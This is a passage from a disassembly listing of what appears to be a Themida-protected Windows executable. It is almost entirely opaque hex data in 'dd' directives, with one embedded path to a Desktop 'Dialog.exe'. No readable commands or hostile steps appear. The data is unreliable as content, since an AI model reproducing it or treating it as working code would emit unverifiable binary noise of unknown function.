5EBDFB58h, 0B6E8FD31h, 0EB2BA312h, 0B2CC13BBh dd 0B2CCFBB3h, 0B6E8DF28h, 142BBA77h, 7DF5E984h, 3BC33521h dd 0B0FDD32Fh, 0B6EB46DBh, 0E7E81532h, 0B6E8BCDAh, 75B1FF32h dd 92A4666Bh, 92AC7636h, 0B6E8ED36h, 75B9BC32h, 431B3D48h dd 0B7E97F8Ch, 9B753674h, 0B9EECA11h, 0B6E8FAB1h, 0B6F81E32h dd 0B73EFB32h, 2821AC82h, 0B7CC69EEh, 82BCA5C4h, 33659298h dd 0B0F051A2h, 5EB9EF58h, 0B6E8F731h, 0EF2BA212h, 0B2CCB1BBh dd 0B2CCBAB3h, 0B6E87F2Bh, 642BEE73h, 8133F844h, 8B556432h dd 49EEE21Ch, 1F75F0E2h, 33EEE837h, 576CF1F2h, 0FE87F30h dd 9748FF29h, 0BA2942BBh, 8E69E927h, 0B4EACA54h, 0B6B97E3Dh dd 0B682FD32h, 0B6EB1663h, 0EFC87F32h, 0FA61E6F1h, 0F269DB16h dd 0B6FEEB16h, 0E7A9F732h, 1AC647F1h, 0D0EE85B3h, 0B992A10Fh dd 0B6EA8BB6h, 0E5E8D532h, 0B6E8DCDAh, 75B3CF32h, 92B47E69h dd 92AC7A36h, 0B6E8E536h, 75BBBD32h, 1505A96Dh, 4B659672h dd 0D0EECA31h, 0D674D7B3h, 0B668723Dh, 2BE1FB32h, 0B0FDCE87h dd 0B4907EC7h, 0D96D70DAh, 5FE8BF32h, 0B6E8DF26h, 0F007AF59h dd 164CF046h, 0FD5D9E36h, 5D130DA8h, 3C40E140h, 0B090FE54h dd 33E77F32h, 0B6E8DF78h, 5EBFEF58h, 0B6E8F731h, 0E92BA412h dd 0B2CC81BBh, 0B2CCBAB3h, 0B6E87F25h, 462BE875h, 0D0B5F7D8h dd 5FA50088h, 0B6E8F557h, 5EBDFB58h, 0B6E8FD31h, 0EB2BA312h dd 0B2CC13BBh, 0B2CCFBB3h, 0B6E8DF28h, 662BBA77h, 7A862390h dd 0B6561D5Bh, 0DC96FC33h, 0B500A832h, 96E87F32h, 3FB67C6Ch dd 37ECFB46h, 0ABECCB76h, 0F0E8F732h, 0D2253864h, 91E6972Dh dd 19D29B51h, 0C9A5C054h, 38783ABFh, 0B682D92Ah, 0B6EB0767h dd 0EBC8F732h, 0DA61A6F1h, 0F269F916h, 0B6FCFA16h, 0E3AD7F32h dd 3613CF1h, 0B0FDC23Fh, 0B6823FCDh, 0B6EB1F67h, 0EBC8FB32h dd 0DA61A0F1h, 0F269FA16h, 0B6F37B16h, 0E3ADBF32h, 58AF60F1h dd 182F5EA1h, 0A365F846h, 5FE8FB32h, 0B6E8FD22h, 0A736C1D6h dd 45BF8FD4h, 0DCEEADFFh, 65CBEADh, 0BE5D6ABBh, 766DF127h dd 0B7A27F3Dh, 0B682FD32h, 0B6EB1663h, 0EFC87F32h, 0FA61E6F1h dd 0F269DB16h, 0B6FFEB16h, 0E7A9F732h, 36BC8DF1h, 5ED07D6Bh dd 0B6757B3Dh, 0B6827F32h, 0B6EB5763h, 0EFC8DF32h, 0FA61B6F1h dd 0F269F316h, 0B6F5FF16h, 0E7A9FD32h, 8A1134F1h, 6F194DE8h dd 5F323BB7h, 0B6E8DF21h, 50AEAE1Fh, 0A64CC09Dh, 13C5914Eh dd 0DC12259Fh, 0BF622C29h, 0A3E2C68Fh, 0B3903F34h, 0E66DD041h dd 0DCE8EF32h, 0B500A232h, 96E8FB32h, 3FB53E6Fh, 37ECDA5Eh dd 0A3EC5B76h, 0F3E8BF32h, 0E0561C67h, 0E5EF97B2h, 0B7EB733Dh dd 0B682FB32h, 0B6EB1563h, 0EFC8FE32h, 0FA6126F1h, 0F269BB16h dd 0B6F3DB16h, 0E7A9EF32h, 0AABFA4F1h, 0EC1C11F6h, 0CB7D74F9h dd 0D0EEEB31h, 0B36747B3h, 0B6923A3Dh, 2BEBDF32h, 0B0FDCE73h dd 70217654h, 0B0907BD8h, 0D36DF25Ah, 0DCE8FE32h, 0B5002D32h dd 96E8BF32h, 3FB21C68h, 37ECCB66h, 0AAECD376h, 0F4E8FB32h dd 38803E60h, 7A1AAF59h, 0B97D9AFFh, 378E6F8Dh, 9317D44Ah dd 0B6DA6A3Dh, 5168F732h, 0B6971219h, 0B682FD32h, 0B6EB1663h dd 0EFC87F32h, 0FA61E6F1h, 0F269DB16h, 0B6F4EB16h, 0E7A9F732h dd 178CA4F1h, 972B8D86h, 0B63393Dh, 0B0FD63EBh, 0B6827F19h dd 0B6EB3760h, 0ECC8EF32h, 0E261ADF1h, 0F269FF16h, 0B6F3F916h dd 0E4AAFE32h, 40DF5EF1h, 8C947F72h, 0D6012742h, 0DCE8EF32h dd 0B500A632h, 96E8FB32h, 3FB13E6Bh, 37ECDA7Eh, 0AAEC5B76h dd 0F7E8BF32h, 9F931C63h, 0C34C95A1h, 3D538A39h, 0A3EA6EBFh dd 0B6E94534h, 0B682FE32h, 0B6EB9767h, 0EBC8BF32h, 0DA6182F1h dd 0F269EB16h, 0B6F5F316h, 0E3ADFB32h, 9DC342F1h, 0CFC47A65h dd 3D67E8BFh, 0A3F862AFh, 8F6DF634h, 26EEFA3Bh, 0B6EF753Dh dd 0D088FB32h, 0AF5B3AB9h, 3F78AE53h, 0A3C5DEBFh, 4553234h dd 3BEEC56Ah, 0ACB7F5BFh, 0E3CB4F34h, 33EB8C54h, 0B0FDEAFFh dd 5F293119h, 33B65630h, 32DC96FCh, 32B500A8h, 6C96E87Fh dd 463FB67Ch, 7637ECFBh, 5E983CBh, 6058A4F3h, 0F585060h dd 0E861F6B7h, 11h, 0EC6F7DD7h, 7D97FBECh, 0E25FC4AFh dd 0BDCBE780h, 3D8D8B94h, 5E06152Ah, 0FE961h, 40860000h dd 0FE2A5430h, 0F1664E82h, 23F479A5h, 0FC00B8Bh, 5384h dd 0BD858900h, 8D061516h, 154F9EB5h, 0B5096006h, 61528F1h dd 6E9h, 0A0A5EE00h, 610FBA3Fh, 3B8h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 7F5CF89Ah, 0EA28D1BFh, 0D9B980B0h, 0FF734114h, 0DAB70FE6h dd 0D58D0140h, 8B061505h, 15021595h, 83C08B06h, 1508F5BDh dd 9750006h, 3ADBD83h, 74000615h, 8B535019h, 403B8C0h dd 85890000h, 61502A1h, 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh dd 61503ADh, 50177400h, 403B853h, 85890000h, 61502A1h dd 0A7A69D8Dh, 0D3FF0617h, 6A585Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0E956F4C3h dd 14h, 3764654Dh, 13836943h, 14BD4BA6h, 62340C6Eh, 6027C68h dd 80D78159h, 6A303225h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 7268C356h, 0F583F0Eh dd 388h, 0CBB70F00h, 0F98BC08Bh, 0DE861h, 523F0000h, 460024F8h dd 13BA3BF7h, 29E1B68Fh, 150371BDh, 830F5F06h, 0 aBAd db 'ÇAd',0 align 2 dw 8D8Bh dd 61524C5h, 0BEh, 0CDF08100h, 0FF03432Ah, 81603E34h, 9814C4CEh dd 959D2909h, 61061518h, 7E85Bh, 6FE80000h, 0C86DE461h dd 10E9F4h, 0C9110000h, 136E255Eh, 0F4C767E3h, 0A1ADE4A1h dd 815A6623h, 0B8677EEBh, 0CEBF0F2Eh, 996AC381h, 20B94A4Ch dd 814D84D3h, 59D0E7EBh, 61858B24h, 89061505h, 1B8371Ch dd 8B2D4AFEh, 1516FD85h, 0D7EE8106h, 0E871B39Ch, 0Ah dword_5CFB64 dd 9A3E780Eh, 0E31BA175h, 8B66A3EFh, 0C68158D7h, 71B39CD3h ; DATA XREF: Themida_:0057A66Co dd 81D08B66h, 0FF9CACFEh, 10850FFFh, 31000000h, 1511B58Dh dd 25E906h, 58060000h, 0F6AEAFAh, 680h, 51850100h, 0E9061516h dd 0FFFFFF4Fh, 0E07CE6D5h, 6FE714D4h, 0E63DC716h, 6C4AB054h dd 0EE575778h, 3015711h, 0DFC20932h, 0C425239Bh, 64251393h dd 3001570Eh, 0D0C20154h, 22FA128Bh, 81AAAAE3h, 307D31Dh dd 1C305712h, 0C614417Bh, 30D9DB74h, 300159FAh, 32232812h dd 5949AA2Eh, 0B8E33289h, 8A94D681h, 940D6A87h, 685F0814h dd 33855816h, 0BB015710h, 0A582ABCBh, 0A1443E7h, 3C855812h dd 0EA015712h, 81015715h, 0E9472D37h, 89CE9EA2h, 30015520h dd 0F0545778h, 0C015711h, 5BC20A32h, 7253B9Bh, 85251393h dd 0C0015709h, 93C20257h, 0DE8D211Bh, 932E3B18h, 192446A7h dd 800EC714h, 301571Eh, 81885872h, 0A6015712h, 1B3FBA8h dd 2B875842h, 17015712h, 0C014291h, 60EBF12h, 0C4A25712h dd 0D75B56B2h, 0EEF6B4B1h, 0BA3BF9E7h, 5A9109D2h, 1BE90612h dd 2C015712h, 8F58944Bh, 8205735Eh, 95057356h, 81015712h dd 0DEAA9443h, 6BE78777h, 3C4D561Dh, 5E013DECh, 60154FAh dd 0C05B7712h, 0A555DE48h, 0E445D616h, 60014A16h, 0F3531512h dd 8EFCFDB6h, 12F2C5D9h, 0FE843A2h, 0B7015712h, 43905717h dd 5A6BA4ACh, 33013D4Ah, 300154FAh, 0DB5A7712h, 285DDE49h dd 2245D616h, 3014F16h, 42521412h, 43681425h, 600BBE01h dd 1E565712h, 36EE2F07h, 1E9E52CFh, 0EF2D9791h, 3015706h dd 6FA63BD0h, 5E32B821h, 7DAF3914h, 697A9349h, 883B4BFFh dd 0C6B5F99h, 602BF44h, 5D215712h, 0F58809D1h, 84805336h dd 60185336h, 66475712h, 68A761D1h, 6A547E77h, 8FFD1F99h dd 162B6A87h, 0B8803114h, 440EA824h, 600157C0h, 1B14D213h dd 0D9825107h, 0E538D71Bh, 6E5D21Dh, 36B5712h, 8102BF43h dd 99215712h, 2C880ED1h, 74805336h, 181B5336h, 5D405712h dd 748B88D1h, 91B368FAh, 0EB001699h, 0C3E90112h, 40015712h dd 0B95F944Ch, 99057366h, 1A057356h, 40015712h, 0F7F89444h dd 8B8258B1h, 0CF015712h, 60015390h, 0D4BB3112h, 93C9546Eh dd 190AEEAFh, 0F78A3114h, 69049691h, 82E90212h, 0E0015712h dd 0E95C944Fh, 0B105737Eh, 5057356h, 49015712h, 60BC9447h dd 0FACB18F4h, 70338D2Eh, 0D810CA99h, 59805107h, 0BB421C82h dd 184DD21Dh, 0C6B5712h, 602BF43h, 5A215712h, 0CD880ED1h dd 84805336h, 601C5336h, 61405712h, 72AA6DD1h, 0F69AE310h dd 91BB1D9h, 8E8C89ADh, 8714188Ch, 0C3B929A4h, 89015712h dd 30015718h, 562902FDh, 29731EDEh, 0E7FEC618h, 21F4E299h dd 0EB605107h, 0C3E90412h, 40015712h, 0B95A9449h, 9905734Eh dd 10057356h, 45015712h, 6E0F9441h, 0A6057D48h, 29FD53DBh dd 60015715h, 7C38C3AEh, 9509A302h, 1660DFAFh, 868CDA14h dd 0BB074D76h, 8093D466h, 0EEB0D221h, 0AF2A5107h, 6C03BED3h dd 0EE575778h, 3015711h, 0DFC20932h, 0C425239Bh, 64251393h dd 8301570Eh, 0A4F305E9h, 6AC08Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 7296B2C3h, 8F4FD11Ch dd 595760B2h, 0F6816657h, 61596BAFh, 319EDA81h, 3606264h dd 152775B5h, 870F06h, 61000000h, 8D8DC38Bh, 61A6581h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0F4C35646h dd 1ADC4B5h, 218D89DDh, 0C7061527h, 1504CD85h, 58D406h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0BD9460A5h, 7D78037h, 111585C7h, 615h, 8A0F0000h dd 6, 3C1B589h, 9D8B0615h, 61504A1h, 33A9B5FFh, 0BD8B0615h dd 6150CE1h, 0FFD68B66h, 1502C995h, 6820F06h, 9000000h dd 152EFD9Dh, 0FF006A06h, 152E2195h, 0EBC08B06h, 77C6834Fh dd 914166Ah, 15F632D1h, 10157690h, 2D5FE87h, 55478CA5h dd 7E2FAE50h, 6FD73EFFh, 56D3ED06h, 3805EEAh, 56E5F46Bh dd 3F6118E4h, 5F101DB5h, 0DAA4B1DEh, 7E60EF8Ah, 0CE5F802Ah dd 32ECD508h, 3EAC1283h, 0A227D7E6h, 182295D1h, 70E9h dd 0C68B4400h, 5C3A4312h, 75636F44h, 746E656Dh, 6E612073h dd 65532064h, 6E697474h, 4D5C7367h, 69747261h, 6143206Dh dd 6E6F6272h, 65445C65h, 6F746B73h, 69445C70h, 676F6C61h dd 6578652Eh, 0Ch dup(0) dd 0E9BE900h, 0D3680000h, 0E9061A67h, 0FFFBE284h, 1A68E868h dd 0E27AE906h, 7468FFFBh, 0E9061A6Ah, 0FFFBE270h, 1A6AB368h dd 0E266E906h, 5868FFFBh, 0E9061A6Bh, 0FFFBE25Ch, 1A6C0368h dd 0E252E906h, 0E068FFFBh, 0E9061A6Fh, 0FFFBE248h, 1A725D68h dd 0E23EE906h, 3E68FFFBh, 0E9061A73h, 0FFFBE234h, 4D3F3E2Fh dd 0DDAFCEC2h, 4F413C32h, 0D3B5C8C4h, 493B4228h, 3022FCEAh dd 97907B4Dh, 381BE6E6h, 0CDB84345h, 4B48E0B0h, 24792E6Bh dd 87F76EA7h, 0C7DE9F86h, 47523DC8h, 0CA831A63h, 1B53FAA3h dd 2E247570h, 19A6264Fh, 0E3E3509Fh, 0B353E7A7h, 1FFBA2D7h dd 0A729D66Eh, 0EC68FC7Ah, 6BECEE9Bh, 345Bh, 4B3FCE00h dd 0C48EFC32h, 300E1D6Ch, 0B353E20Ah, 1C069FCAh, 0A729DB79h dd 8F6F7C6Fh, 0A729DBC2h, 0E5CFA7D2h, 0F7B8D14Dh, 0D0406BECh dd 0F3000000h, 69116C62h, 0FA9F8667h, 3AF36A13h, 647D170Dh dd 2851D6E4h, 39FEF481h, 3E48203Dh, 0A7877CADh, 0AD3E47EAh dd 7FB67FAAh, 19644BE6h, 730A0590h, 4C451711h, 988FAD3Eh dd 595546E5h, 0AD3E4C3Ch, 589B158h, 0F9846D18h, 0E271C970h dd 0BC0B92EBh, 3836B504h, 0B3535F9Ah, 279135C6h, 59C83C1Eh dd 7E27563Ch, 93C69FD7h, 0DD2C8431h, 90BB704Eh, 30D9AD40h dd 772012C3h, 0CE29C7C8h, 2070C98Fh, 3D187F75h, 375D727Dh dd 45BBA1D8h, 0B7FA0781h, 0C76A83Ah, 74590000h, 14FC8709h dd 0B29C6769h, 160EF9CBh, 0B89A6567h, 7664C3C5h, 0C5C7B69Ch dd 0A828553Ah, 587F6DDh, 9AEA937Ah, 6C290502h, 28A72477h dd 0A486C53Dh, 210CF7D9h, 24DE6C5Ch, 0D5CCB199h, 0BB75561Ch dd 7B7F7F6Ch, 0E7B353E2h, 0A67A554h, 0C36B6E02h, 0B9B6AF5Ah dd 560820Ah, 94DA61B7h, 29D3E7AAh, 63F201A7h, 0DC950C71h dd 108C1896h, 6BECEF77h, 0ED7Fh, 9F865100h, 2882C1F8h dd 4B0E3D40h, 0D1AD3AC8h, 0AD3E2D84h, 23106910h, 5A037A72h dd 49E47BB3h, 2D503663h, 9F815D04h, 29AD3E32h, 0C24D3F3Eh dd 0A4D9CECBh, 841D54FDh, 0AD3A8927h, 4F562720h, 6363D0A6h dd 0B3533DB7h, 4E2F22B3h, 0BA0A3F28h, 0D1807E6Dh, 0C3A72938h dd 55F3E096h, 264F2E22h, 0DFF92D09h, 7281AD40h, 0B92EBE3h dd 0DDB9D862h, 2EDBAD3Ch, 0FDEA1F08h, 0DD4110EEh, 2653AD3Ch dd 4032E350h, 800F6E59h, 0EFF4775Fh, 0B90B629Eh, 0BBA1DCCEh dd 0FA07E87Bh, 6152F4ADh, 6E00000Bh, 590007Dh, 7520700Dh dd 0F782027Bh, 731E6E0Fh, 2D8CFC81h, 0E6F65BFh, 9FDED3BEh dd 0E6F622Dh, 0A1DCD3BEh, 7C7A772Fh, 0A72476DDh, 8678C6BFh dd 0CF7D9A4h, 3ECF5C21h, 89FD3548h, 0A0F9F19Ch, 8A1D8A5h dd 17CC926Bh, 155CC439h, 9F866B5Dh, 432AC7DEh, 0D0B05B54h dd 0C26B2FEEh, 6CBB75C2h, 6C9B7F7Fh, 4EFBB353h, 6A2A6B57h dd 30BEA729h, 863F48C4h, 13B76BECh, 9000000h, 0CDA99724h dd 2B776606h, 3BF33A43h, 7C909h, 6CC4A700h, 211D0E1Dh dd 0AD3EDE74h, 0B041F920h, 53F2B0D6h, 243DECB3h, 0EDDF9E89h dd 320C2B22h, 0A729CA63h, 0C2310831h, 475E1F13h, 0E5C1E88Eh dd 0E6DEDDEh, 0BBD35FCDh, 366363D4h, 664BEDA8h, 7F0A7AB3h dd 926CF588h, 4BEDA7C0h, 829A0AACh, 0E792F28Bh, 0CBD89700h dd 0D08145D9h, 7BB2CBC5h, 0B152F8E2h, 0A4A04BEDh, 4945D0D9h dd 0E8862D34h, 6FD487Ch, 0B83B3375h, 73BB3ACEh, 565169F9h dd 0F3DAA527h, 0FCB4138Ah, 52403EADh, 0C214A5BCh, 0D1463597h dd 0E3C7FAB6h, 5A54D39Ah, 1A98C5FCh, 5102F118h, 0EBC9DE34h dd 7EBA6B4h, 0DBCBC076h, 0ECA15AADh, 0BF2C7B35h, 957AE7BFh dd 831A4F72h, 0F7F78C24h, 66933A5Ah, 0C9660F3Ah, 0ABAD68EDh dd 56D5846Ch, 0B0B9C4A7h, 15C03109h, 0D7C4631Ah, 8B08BAD7h dd 72FDA6Ch, 8611FC87h, 5941296Eh, 17FD34DBh, 0BAB625D5h dd 0D538CA47h, 0FA000009h, 99646419h, 11FCCCB1h, 9B666617h dd 0FFACAB3h, 0D170601Dh, 324B41DBh, 0BBC2A752h, 324B3EC9h dd 0BDC0A752h, 585653CBh, 0A7247539h, 8694EA5Bh, 247ADE9Fh dd 58FA05A7h, 9960DA1h, 54390000h, 0F4DCA729h, 927C0789h dd 0F6EE99EBh, 987A0587h, 5644E3E5h, 25A7D6BCh, 8808755Ah dd 656716FDh, 0FACAB39Ah, 0C492522h, 88A72475h, 9F86A51Dh dd 482AC7DEh, 37A45335h, 221160D8h, 37FF7E73h, 0E85EBCBAh dd 8BBEB353h, 2F0C0A34h, 0A75468E7h, 0B54A5D45h, 0F3D360E4h dd 0E59655A6h, 9EEB43F6h, 0E4B18D22h, 0B0E59655h, 4343B089h dd 0EBAB776Bh, 0EBAA8497h, 0A9EB8136h, 0BC6DBA80h, 9BEA46A5h dd 0A99BB28Ch, 1039F199h, 8B851023h, 6CC26BF2h, 3597E6E1h dd 361A634Ah, 3DA07D9Ah, 0F1F39712h, 0DE000008h, 554090EDh dd 0E5B0205Dh, 473292EBh, 0E3AE1E5Fh, 7D3C8CF1h, 7EFFF50Fh dd 0EF8E830Eh, 7EFFF29Dh, 0F18C830Eh, 2C0A079Fh, 0A724736Dh dd 86C8362Fh, 6251DE9Fh, 43BFBEB3h, 0AD3EDF16h, 0D0B6D386h dd 4FDA85ADh, 95AF215Ch, 0AD3EDF28h, 0AEA23340h, 0DF2673CFh dd 4442AD3Eh, 0AD3EDF15h, 0E089D287h, 307F399Ah, 1A1D12C3h dd 3EDE7D1Ch, 43EA1FADh, 2B00FEEBh, 89B35944h, 0CBC253E0h dd 4027D2B2h, 0C1BDAE3Dh, 0A7247994h, 86215900h, 502E09EBh dd 0A7247A01h, 6DB6C7C1h, 61EC75BCh, 8D3D136Ah, 0FFFC1FC2h dd 846E082h, 0A4890000h, 240CF7D9h, 0A28C7759h, 261EE9DBh dd 0A88A7557h, 4634F3D5h, 0D5B7C6ACh, 5838452Ah, 0D5B7C6ADh dd 4A3A432Ah, 0BCD9D5D2h, 0D8A72472h, 9F86156Dh, 3C6518FAh dd 28C5DC95h, 20E55A3Dh, 2F8CC64Ah, 0FA7C5F06h, 225B526Ah dd 0C23673A2h, 0D8657201h, 0BAC3ADECh, 0EB43EAA3h, 4DD5Bh dd 6CC46D00h, 3B300E1Dh, 25B35944h, 0B11EFE96h, 0EB433748h dd 5DE80732h, 0CB90B72h, 503F66B5h, 0B9B0CDC5h, 0D8CC3A00h dd 0A82090E2h, 8D1A960Eh, 69F28BF2h, 54h, 0B299245Bh, 6C1BD2CBh dd 79B0581Bh, 4D3EF41Eh, 0B7C6C1F4h, 0E9E4717Eh, 714DDE94h dd 0AD3E9024h, 0C6A0C970h, 0CDA5F1D7h, 0AD899A99h, 8CD7B1F0h dd 184F93D8h, 0BFA875EDh, 5ACAE48Ah, 9A8FC9DEh, 0E2D51h dd 7F9F0000h, 1F0h, 720B0392h, 9EEC42EBh, 0CAB39924h, 3B8A27A4h dd 4B643822h, 0F9EE26ABh, 5550DD84h, 0B5DF8128h, 472093Dh dd 8EB3F470h, 2243F895h, 75000000h, 871E6DC4h, 0AB4B2A9Bh dd 24901E26h, 958ADFA8h, 0AC17F8h, 190A0000h, 0D27A801Dh dd 45ED1C33h, 0DD972443h, 0E0CDD2A9h, 0C6AE4F62h, 63352889h dd 0CE03BE0Bh, 0A2E9A61h, 35B27B66h, 0C8094826h, 0DE8BAD3Eh dd 0FE9B9B98h, 9EAD3EC7h, 0E691BE6Bh, 0ABD2BD93h, 4B3217B2h dd 62D25C52h, 0CB57DB2Eh, 1A33A4Fh, 0B9B46172h, 3EF49DC4h dd 510Ah, 7A701D00h, 7BB35A03h, 1E6DC40Dh, 0DE6A3511h dd 336AD3Eh, 0D7059E4h, 9D95DD94h, 0ECDE7FEEh, 917D1891h dd 0F1D875ECh, 2DC5F18Ch, 0DE86D3B3h, 6316AD3Eh, 0BA2A840Ah dd 1F7693Eh, 108D72h, 0F3A00000h, 3D3679A1h, 0F0E2986Fh dd 0FF7Fh, 0D97F3100h, 31000000h, 553A6DC4h, 0A1D88128h dd 21D61E08h, 2546028Fh, 9C193836h, 0EA7B57EEh, 46EF7607h dd 0B52D47EFh, 0F4E283Bh, 8D57EE9Ch, 169396DCh, 0E21CB1B4h dd 75h, 3A6DC4D4h, 0D9802954h, 0F5A093A0h, 0DED580FDh dd 306DD79Fh, 6CAD3EDFh, 6945F2D9h, 0AD3EDF2Ch, 0F178C168h dd 8E78F148h, 0CD5F0BEBh, 850171FDh, 51E1CE04h, 36F4h dd 6DC4C600h, 13DB9C38h, 45EC1271h, 8389C8A6h, 180BAD3Eh dd 3E837F1Eh, 5FEC1DADh, 1FCE0661h, 69FD66Fh, 5ECC991Ch dd 931F8F1Ah, 0E1E49217h, 76604h, 7F580000h, 50h, 59972431h dd 59F8F609h, 3BAD3E3Ah, 8C95810Eh, 116C65F0h, 0FA99E198h dd 0B4A2413h, 89AD3E66h, 361099E0h, 0AD3E6564h, 0ABC32F39h dd 69D7B9C4h, 1A1E6DC4h, 0A10B1D73h, 0EC25AA11h, 54D5AD3Eh dd 7201EA54h, 0FFFF0FA2h, 6B7F14FFh, 31000002h, 0C7DE9F86h dd 0AD3A432Ah, 0DE91C0BEh, 5603AD3Eh, 7083B020h, 3EDEC796h dd 0CEA4D5ADh, 0F7F443FDh, 53E74BF7h, 0A7BE6BB3h, 29D69ABBh dd 54E04EA7h, 0ECEECFD8h, 573BCA6Bh, 0A0D67F26h, 50F0h dd 6CC4E200h, 0DEBAD7D7h, 2FDAAD3Eh, 0E9FAE906h, 3EDE500Dh dd 551D4CADh, 53E253E7h, 0B9AE5FB3h, 0DBD1807Eh, 96C3A729h dd 277650DFh, 75A729DCh, 88B16EC4h, 0DB5405E1h, 1A94A729h dd 8D83108Ah, 0A424229Ah, 91161961h, 656BECB5h, 0B9h, 0FA9F8657h dd 0DDA08613h, 0D640D94h, 6A13F994h, 0B1C4CE7Dh, 19457E5Bh dd 0C4AB4661h, 2A25B0B9h, 0E5377153h, 0DAD3ED3h, 42F88580h dd 0D2611C13h, 674D4C43h, 8F465F16h, 0DE5AE7E7h, 0DFF3A08Fh dd 27227003h, 0A83A2DB9h, 0E34050EBh, 620B92EBh, 0E8C6630Bh dd 0B35658B0h, 52FFFFF4h, 42A72758h, 44D15E17h, 0E809314Ch dd 8606775Dh, 0F06419FBh, 0FC1221C4h, 69BD51C8h, 66000004h dd 0ED98F885h, 6D187805h, 0FF8AFA83h, 6B167607h, 1594F489h dd 16674DA7h, 97E6CBB6h, 16674A35h, 99E4CBB6h, 94725F37h dd 0A7246FC5h, 8670DED7h, 81FCF5A4h, 880831E8h, 196B12FDh dd 373724ABh, 0AD3EDF1Ah, 65BEBFA8h, 0D8CF7EB4h, 7671FCA5h dd 80388507h, 22B1C231h, 62476F52h, 0BCCB821Bh, 0D69C1429h dd 532D6A68h, 0E3C776B3h, 84ADD0B6h, 265750DDh, 0B3E274Fh dd 0CE7A892h, 0F185A729h, 0BA09A781h, 1D45512Dh, 0A8D1AD3Eh dd 0FF9E988Bh, 9DAD3E1Ch, 75C2C66Ch, 7F7F6CBBh, 0B35882ACh dd 43D26108h, 6660304Dh, 0A724383Dh, 68F5A289h, 0BDCEC596h dd 5203F049h, 0D188215Ch, 475325A9h, 7D000000h, 3EDF1637h dd 0BB50EAADh, 3EDE9EBBh, 5A65FEADh, 0AD3D7B2h, 4242EB42h dd 8866D1B7h, 0AD3E8BC9h, 0CED79ECBh, 3E8BA5F4h, 0F76B0BADh dd 3494E9DFh, 0E6F56E7h, 37462D68h, 8C02542Eh, 0C56FAD3Eh dd 5F1E152Dh, 0A386DF6Dh, 605E4DDAh, 0AD3EDF31h, 0E980B663h dd 8755BEAh, 4D302332h, 0C9D0B954h, 4D049DE0h, 0F4F07D24h dd 7CFAE089h, 3043B4E8h, 0DF164343h, 0BBB4AD3Eh, 29F29BC2h dd 0A83C3A00h, 47E49990h, 0D1A9D4B6h, 0F18EC3FDh, 31C0AD3Eh dd 7201E559h, 0FFFF679Dh, 9F862FFFh, 8B8514FAh, 6BF23BF2h dd 3696E7DEh, 0C3745CE9h, 3EDE96C3h, 1A5306ADh, 27A4CA83h dd 0D1AD3A89h, 0B353E775h, 15F178A1h, 0A729D644h, 1E9A0AA4h dd 6BECEE89h, 4B6Dh, 6CC45F00h, 0A300E1Dh, 0CAB353E2h dd 7C09069Fh, 0B745ED90h, 0A729DB96h, 2EB26152h, 9F70C101h dd 951F2265h, 0B2A83DF6h, 2A600C4Fh, 0E88EE747h, 0CDDA56CEh dd 296BECE6h, 0EEh, 255851FCh, 0E2AF8F7Ch, 0B2A729C6h dd 0A88AE87h, 0C7DE9F86h, 684F482Ah, 0EE9A3916h, 1CAF3CF5h dd 9E552A46h, 2641F98Bh, 0B9F3A48Bh, 0D12B4E15h, 7F0A93DAh dd 8693F588h, 116914F7h, 3DE73133h, 0C9B49BADh, 48513CC7h dd 2D503960h, 0D7342D04h, 0E1D0A59h, 3DE66130h, 300633ADh dd 2A25B0C3h, 0CBA34A53h, 52E9C171h, 858015B3h, 24F41F8h dd 0EBF8F746h, 0FCD9858h, 817D84D4h, 0A7298ED4h, 9AE099C0h dd 4139EEACh, 6C7BAEADh, 3292EBE1h, 0F24C56E5h, 0DFB828E3h dd 6716FC97h, 707F5F1h, 0A83AB7FAh, 1ECh, 398BF2E3h, 0A1235A4Eh dd 3B8DF0D6h, 0A7295450h, 587F6DCh, 0F4D630A6h, 937C0789h dd 0FCEF9AEAh, 89840F81h, 0FFC94F4h, 246C622Fh, 0CB4332A7h dd 0B393A486h, 0AD3EDEE6h, 0DAAA83B6h, 364740CDh, 235A5500h dd 6CC413A1h, 701D0E1Dh, 0CF2D0578h, 0B353E22Bh, 0BBA7BE6Bh dd 0A729DB9Ah, 0D854E04Eh, 6BECF7CFh, 0C127h, 9F869900h dd 482AC7DEh, 39186A4Fh, 0D0202F4Eh, 0CA8767C6h, 0CAAD3E3Ah dd 69FD69Fh, 3E3F481Ch, 0E29B92ADh, 0B1CCB845h, 553901B8h dd 0AAD3BD48h, 1934FAB3h, 0F9564F2Eh, 303F03Fh, 0B35340F3h dd 0DDA092A3h, 64640DC4h, 1D0A59D7h, 40E41621h, 0C1B3C2ADh dd 0C77675BCh, 0EB3898E5h, 3006775Ah, 836A2F25h, 9FAA63FAh dd 22CBD2ABh, 0A2E3054Bh, 0E099FA07h, 10B4Eh, 0AECFC400h dd 3E3F33DEh, 0B0CDC34Eh, 443935E0h, 0AAD3B944h, 936D5BDAh dd 21ECDCA1h, 88735528h, 21ECDCA1h, 9D755726h, 6B87D6B0h dd 0A015A724h, 0D9A48632h, 62DEA95Ah, 0BA0843F3h, 9A9C058Dh dd 35FDDB90h, 0BEBFA651h, 9F8680CEh, 0D64751F8h, 0FAF46DDBh dd 0AD3EC05Bh, 10691039h, 6C11FC99h, 8A7E0F1Ch, 0E8DF6AF3h dd 0C650C95h, 7CCB6566h, 94E9DE6Fh, 388B7E0Dh, 51EA4414h dd 0E5E15228h, 0B358B18Eh, 4BE67FAAh, 0CCB71964h, 0B0CDB8E1h dd 0E9164343h, 0D386A723h, 4008D9Ah, 0DD7C7A79h, 0BFA723E8h dd 0E1BDE48Ah, 0BC00E72Fh, 0C24901Eh, 3F6C5C21h, 0AA42D58Ch dd 34D81FD7h, 24B2E17Eh, 0BAD9A14Dh, 0DF87C4D3h, 425A4F04h dd 0EFD772EBh, 927A178Eh, 0F0D772EBh, 305D148Dh, 351D4439h dd 40F72BB7h, 0B744BE36h, 0EDED9404h, 831268C0h, 0F49FF18Ch dd 49DD84F9h, 10h, 0D4C7B467h, 0C6403D29h, 0AD3EDE97h dd 0AC1E5405h, 